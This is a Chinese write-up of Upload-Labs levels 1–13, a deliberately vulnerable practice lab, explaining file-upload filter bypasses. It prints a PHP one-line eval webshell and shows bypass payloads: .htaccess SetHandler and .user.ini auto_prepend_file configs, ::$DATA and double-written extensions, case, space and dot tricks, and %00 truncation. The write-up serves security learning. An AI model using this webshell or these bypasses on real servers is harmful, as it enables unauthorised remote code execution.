《Upload-Labs》01. Pass 1~13

news2024/12/26 10:55:14

Upload-Labs

  • 索引
  • 前言
  • Pass-01
    • 题解
  • Pass-02
    • 题解
    • 总结
  • Pass-03
    • 题解
    • 总结
  • Pass-04
    • 题解
  • Pass-05
    • 题解
    • 总结
  • Pass-06
    • 题解
    • 总结
  • Pass-07
    • 题解
    • 总结
  • Pass-08
    • 题解
    • 总结
  • Pass-09
    • 题解
  • Pass-10
    • 题解
  • Pass-11
    • 题解
  • Pass-12
    • 题解
    • 总结
  • Pass-13
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/c0ny1/upload-labs

部分题目可能需要白盒审计。

索引

  • Pass-01:前端绕过。
  • Pass-02:MIME-Type 绕过。
  • Pass-03:黑名单绕过之 ::$DATA 与双写绕过。
  • Pass-04:.htaccess 利用。
  • Pass-05:.user.ini 利用。
  • Pass-06:黑名单绕过之大小写绕过。
  • Pass-07:黑名单绕过之空格绕过。
  • Pass-08:黑名单绕过之点【.】绕过。
  • Pass-09:黑名单绕过之 ::$DATA 绕过。
  • Pass-10:黑名单绕过之点空格点绕过。
  • Pass-11:黑名单绕过之双写绕过。
  • Pass-12:白名单绕过之 %00 截断绕过,GET 方式。
  • Pass-13:白名单绕过之 %00 截断绕过,POST 方式。

前言

编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。

<?php 
	echo 'Hello!';
	@eval($_POST['hello']);
?>

请添加图片描述

相关文章:

《一句话木马@eval($_POST[“cmd“]);是什么意思》
https://blog.csdn.net/qq_62708558/article/details/123030828

Pass-01

题解

任何前端验证都是纸老虎。

上传时使用 burp 拦截,并将文件后缀修改回 .php

在这里插入图片描述

上传成功,右键查看文件地址。

在这里插入图片描述

木马已成功执行。

在这里插入图片描述

尝试蚁剑连接,成功。

在这里插入图片描述

Pass-02

题解

上传文件并进行后缀与 Content-Type 绕过。

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

MIME-Type,资源媒体类型。

MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。

  • MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
  • 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
  • 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
    • 例如:Content-Type: text/html
  • 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。

常见的 MIME 类型

  • 超文本标记语言文本(.html、.htm):
    text/html
  • 普通文本(.txt):
    text/plain
  • RTF 文本(.rtf):
    application/rtf
  • GIF 图形(.gif):
    image/gif
  • JPEG 图形(.jpeg、.jpg):
    image/jpeg
  • au 声音文件(.au):
    audio/basic
  • MIDI 音乐文件(.mid、.midi):
    audio/midi, audio/x-midi
  • RealAudio音乐文件(.ra、.ram):
    audio/x-pn-realaudio
  • MPEG 文件(.mpg, .mpeg):
    video/mpeg
  • AVI 文件(.avi):
    video/x-msvideo
  • GZIP 文件(.gz):
    application/x-gzip
  • TAR 文件(.tar):
    application/x-tar

Pass-03

题解

之前的方法均失败。不过仍然是黑名单过滤。

由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA

上传成功但无法访问。

在这里插入图片描述

猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):

.php::$D::$DATAATA

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。

NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。

Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。

例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php

除此以外,服务端对不合法的后缀名进行替换为空是常用手段。

Pass-04

题解

这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。

创建一个 .htaccess 文件并写入以下内容。

<FilesMatch "520.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。

但是失败了。可能实现条件比较苛刻。

这里附上几篇参考文章:

《文件上传-uploadlab通关手册》
https://blog.csdn.net/qq_51153463/article/details/124547943

《upload-labs通关总结|那些年踩过的坑》
https://blog.csdn.net/m0_56691564/article/details/127614557

Pass-05

题解

已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。

先上传如下 .user.ini 文件。

auto_prepend_file=520.jpg

在这里插入图片描述

再上传木马,之后访问 readme.php 文件即可。

在这里插入图片描述

总结

参考文章:

《【文件上传漏洞】user.ini留后门》
https://blog.csdn.net/weixin_53146913/article/details/124840296

《文件上传:.user.ini的妙用》
https://blog.csdn.net/weixin_52635170/article/details/126962920

Pass-06

题解

上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

在这里插入图片描述

之后复制链接访问即可。

总结

对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。

Pass-07

题解

使用空格绕过。

抓包修改后缀名,在文件名最后加上一个空格。

在这里插入图片描述

之后访问即可。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-08

题解

使用点绕过。在文件名最后加上一个点。

在这里插入图片描述

上传成功。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-09

题解

原理与 Pass-03 相同,::$DATA 绕过。

在这里插入图片描述

Pass-10

题解

点空格点绕过(利用验证规则不完善)。

在这里插入图片描述

Pass-11

题解

双写绕过。

在这里插入图片描述

服务端对不合法的后缀名进行替换为空是常用手段。

Pass-12

题解

这题通过代码审计可以发现发现 $img_path 变量可控。

使用 %00 截断,让后面的代码不执行。

在这里插入图片描述

在这里插入图片描述

总结

%00 截断:

  • 利用手动添加字符串标识符的方式来将后面的内容进行截断。
  • PHP <= 5.3.4。
  • php.ini 文件中 magic_quotes_gpc = Off。

Pass-13

题解

与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。

POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。

在这里插入图片描述

在这里插入图片描述


为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。

——《刘子》(北齐)刘子

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1051101.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode290. 单词规律

给定一种规律 pattern 和一个字符串 s &#xff0c;判断 s 是否遵循相同的规律。 这里的 遵循 指完全匹配&#xff0c;例如&#xff0c; pattern 里的每个字母和字符串 s 中的每个非空单词之间存在着双向连接的对应规律。 解题思路&#xff1a;哈希 力扣&#xff08;LeetCode&…

软件测试中的测试工具和自动化测试

1. 测试工具 测试工具也分为不同人员使用的 开发人员&#xff1a;测试框架&#xff0c;编写测试用例&#xff1b;各类线上dump分析工具如windgb&#xff1b;开发时的集成IDE工具如Visual Studio&#xff0c;idea等等 面向不同测试需求的测试工具 软件测试是软件开发生命周期…

网络子网划分练习

网络子网划分练习 1.背景&#xff1a; 在一个仓储企业网络拓朴结构如图1-所示&#xff0c;该企业占地500亩。有五层办公楼1栋&#xff0c;大型仓库10栋。每栋仓库内、外部配置视频监控16台&#xff0c;共计安装视频监控160台&#xff0c;Switch A、服务器、防火墙、管理机、Rou…

UE4/5数字人MetaHuman通过已有动画进行修改

目录 通过已有动画修改动画 开始制作 创建一个关卡序列 将动画序列烘焙到控制绑定 打开我们自己创建的动画序列 之后便是烘焙出来 通过已有动画修改动画 首先架设我们已经有相关的MetaHuman的动画&#xff0c;但是这个动画因为是外部导入进来的&#xff0c;所以可能会出…

基于微信小程序的刷题考试系统设计与实现(适用于各类考试类、答题类程序)

文章目录 前言系统主要功能&#xff1a;具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计…

C/C++跨平台构建工具CMake入门

文章目录 1.概述2.环境准备2.1 安装编译工具2.2 安装CMake 3.编译一个示例程序总结 1.概述 本人一直对OpenGL的3d渲染很感兴趣&#xff0c;但是苦于自己一直是Android开发&#xff0c;没有机会接触这方面的知识。就在最近吗&#xff0c;机会来了&#xff0c;以前一个做3D渲染的…

TouchGFX之字体缓存

使用二进制字体需要将整个字体加载到存储器。 在某些情况下&#xff0c;如果字体很大&#xff0c;如大字号中文字体&#xff0c;则这样做可能不可取。 字体缓存使应用能够从外部存储器只能加载显示字符串所需的字母。 这意味着整个字体无需保存到在可寻址闪存或RAM上&#xff…

JMM与JUC

1.JMM 问题1&#xff1a;请你谈谈你对Volatile的理解 Volatile 是java虚拟机提供轻量级的同步机制 1. 保证可见性 2. 不保证原子性 3. 禁止指令重排 1.1、什么是JMM JMM Java内存模型 不存在的东西&#xff0c;概念&#xff01;约定 &#xff01; 1.2、关于JMM的一些同…

python使用mitmproxy和mitmdump抓包之拦截和修改包(四)

我认为mitmproxy最强大的地方&#xff0c;就是mitmdump可以结合python代码&#xff0c;灵活拦截和处理数据包。 首先&#xff0c;mitmdump的路径如下&#xff1a;&#xff08;使用pip3 install mitmproxy安装的情况&#xff0c;参考我的文章python使用mitmproxy和mitmdump抓包…

【C++数据结构】二叉树搜索树【完整版】

目录 一、二叉搜索树的定义 二、二叉搜索树的实现&#xff1a; 1、树节点的创建--BSTreeNode 2、二叉搜索树的基本框架--BSTree 3、插入节点--Insert 4、中序遍历--InOrder 5、 查找--Find 6、 删除--erase 完整代码&#xff1a; 三、二叉搜索树的应用 1、key的模型 &a…

Arthas学习(1)

1.Arthas作用 Arthas是Alibaba开源的Java诊断工具。 作用&#xff1a;当遇到以下类似问题时&#xff0c;可以帮助我们解决&#xff1a; 1.这个类从哪个jar包加载的&#xff1f;为什么会报各种类相关的Exception? 2.我改的代码为什么没有执行到&#xff1f;难道是我没提交&am…

浅谈AVL树

文章目录 1.介绍1.1定义1.2来源1.3概念1.特性2.平衡因子[ Balance Factor-- _bf ] 2.BST>AVL1.示例分析2.情况分类3.代码剖析3.1左左型-右单旋3.2右右型-左单旋3.3左右型-左右旋3.4右左型:右左旋3.5总图 3.完整代码3.1AVLTree.h3.2Test.cpp 1.介绍 1.1定义 AVL树 – 平衡二…

CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用

简介 漏洞软件&#xff1a;Apache Airflow影响版本&#xff1a;< 1.10.10 环境 Vulhub 漏洞测试靶场 复现步骤 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录运行以下命令启动环境 # 初始化数据库 docker compose run airflow-init # 开启服务 docker compose up -…

字符串常量池位于JVM哪里

Java6 和6之前&#xff0c;常量池是存放在方法区&#xff08;永久代&#xff09;中的。Java7&#xff0c;将常量池是存放到了堆中。Java8 之后&#xff0c;取消了整个永久代区域&#xff0c;取而代之的是元空间。运行时常量池和静态常量池存放在元空间中&#xff0c;而字符串常…

web:[ACTF2020 新生赛]Upload

题目 点进页面&#xff0c;是一个文件上传&#xff0c;能联想到getshell 先尝试随便上传一个文件试试 显示上传的文件以jpg、png、gif结尾的图片 构造一句话木马&#xff0c;再将文件后缀改为jpg <?php eval($_POST[1234]);?> 显示上传成功&#xff0c;但是显示无法…

MySQL学习笔记24

MySQL的物理备份&#xff1a; xtrabackup备份介绍&#xff1a; xtrabackup优缺点&#xff1a; 优点&#xff1a; 1、备份过程快速、可靠&#xff08;因为是物理备份&#xff09;&#xff1b;直接拷贝物理文件。 2、支持增量备份&#xff0c;更为灵活&#xff1b; 3、备份…

【数据结构】——顺序表详解

大家好&#xff01;当我们学习了动态内存管理后&#xff0c;就可以写一个管理数据的顺序表了&#xff01;&#xff01;&#xff01; 顺序表的理解&#xff1a; 线性表是最基本、最简单、也是最常用的一种数据结构。线性表&#xff08;linear list&#xff09;是数据结构的一种…

self-attention、transformer、bert理解

参考李宏毅老师的视频 https://www.bilibili.com/video/BV1LP411b7zS?p2&spm_id_frompageDriver&vd_sourcec67a2725ac3ca01c38eb3916d221e708 一个输入&#xff0c;一个输出&#xff0c;未考虑输入之间的关系&#xff01;&#xff01;&#xff01; self-attention…

CSS详细基础(三)复合选择器

前两章介绍了CSS中的基础属性&#xff0c;以及一些基础的选择器&#xff0c;本贴开始介绍复合选择器的内容~ ​ 在 CSS 中&#xff0c;可以根据选择器的类型把选择器分为基础选择器和复合选择器&#xff0c;复合选择器是建立在基础选择器之上&#xff0c;对基本选择器进行组合形…

c语言练习70:反转两次的数字

反转两次的数字 题⽬描述&#xff1a; 反转 ⼀个整数意味着倒置它的所有位。 例如&#xff0c;反转 2021 得到 1202 。反转 12300 得到 321 &#xff0c;不保留前导零 。 给你⼀个整数 num &#xff0c;反转 num 得到 reversed1 &#xff0c;接着反转 reversed1 得到 revers…